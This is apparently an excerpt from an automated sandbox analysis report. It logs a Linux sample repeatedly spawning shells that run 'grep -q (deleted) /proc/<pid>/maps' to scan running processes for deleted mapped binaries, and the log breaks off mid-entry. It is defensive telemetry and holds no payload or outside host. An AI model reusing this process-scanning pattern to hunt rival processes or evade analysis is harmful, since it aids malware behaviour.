Analysis Process: sh PID: 6549, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6549, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/207/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6550, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6550, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2074/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6551, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6551, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2077/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6553, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6553, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2078/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6554, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6554, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2079/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6555, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6555, Parent PID: 6240

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/208/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6558, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6558, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2080/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6562, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6562, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2083/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6564, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6564, Parent PID: 6240

General

Start time (UTC):	18:17:18
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2084/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6567, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6567, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/209/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6568, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6568, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2096/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6569, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6569, Parent PID: 6240

General

Start time (UTC):	18:17:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2097/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6571, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6571, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/21/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6573, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6573, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/210/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6574, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6574, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2102/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6575, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6575, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/211/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6576, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6576, Parent PID: 6240

General

Start time (UTC):	18:17:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2114/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6579, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6579, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/212/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6580, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6580, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2123/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6581, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6581, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2126/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6582, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6582, Parent PID: 6240

General

Start time (UTC):	18:17:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2128/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6583, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6583, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2129/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6584, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6584, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/213/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6585, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6585, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/214/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6586, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6586, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2146/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6587, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6587, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/215/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6588, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6588, Parent PID: 6240

General

Start time (UTC):	18:17:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2156/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6589, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6589, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/216/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6592, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6592, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/217/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6594, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6594, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/218/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6595, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6595, Parent PID: 6240

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2180/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6596, Parent PID: 6240

General

Start time (UTC):	18:17:24
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6596, Parent PID: 6240

General

Start time (UTC):	18:17:24
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/219/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6597, Parent PID: 6240

General

Start time (UTC):	18:17:24
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6597, Parent PID: 6240

General

Start time (UTC):	18:17:24
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2195/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6617, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6617, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/22/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6619, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6619, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/220/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6620, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6620, Parent PID: 6240

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2208/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6621, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6621, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/221/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6622, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6622, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/222/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6623, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6623, Parent PID: 6240

General

Start time (UTC):	18:17:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2223/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6624, Parent PID: 6240

General

Start time (UTC):	18:17:27
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6624, Parent PID: 6240

General

Start time (UTC):	18:17:27
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2226/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6627, Parent PID: 6240

General

Start time (UTC):	18:17:27
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6627, Parent PID: 6240

General

Start time (UTC):	18:17:27
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/223/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6631, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6631, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2235/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6634, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6634, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/224/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6637, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6637, Parent PID: 6240

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2242/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6638, Parent PID: 6240

General

Start time (UTC):	18:17:29
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6638, Parent PID: 6240

General

Start time (UTC):	18:17:29
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/225/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6639, Parent PID: 6240

General

Start time (UTC):	18:17:29
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6639, Parent PID: 6240

General

Start time (UTC):	18:17:29
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/226/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6642, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6642, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/227/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6643, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6643, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2275/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6644, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6644, Parent PID: 6240

General

Start time (UTC):	18:17:30
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/228/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6645, Parent PID: 6240

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6645, Parent PID: 6240

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2281/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6794, Parent PID: 6240

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6794, Parent PID: 6240

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2285/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6797, Parent PID: 6240

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6797, Parent PID: 6240

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2289/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6799, Parent PID: 6240

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6799, Parent PID: 6240

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/229/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6804, Parent PID: 6240

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6804, Parent PID: 6240

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2294/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6809, Parent PID: 6240

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
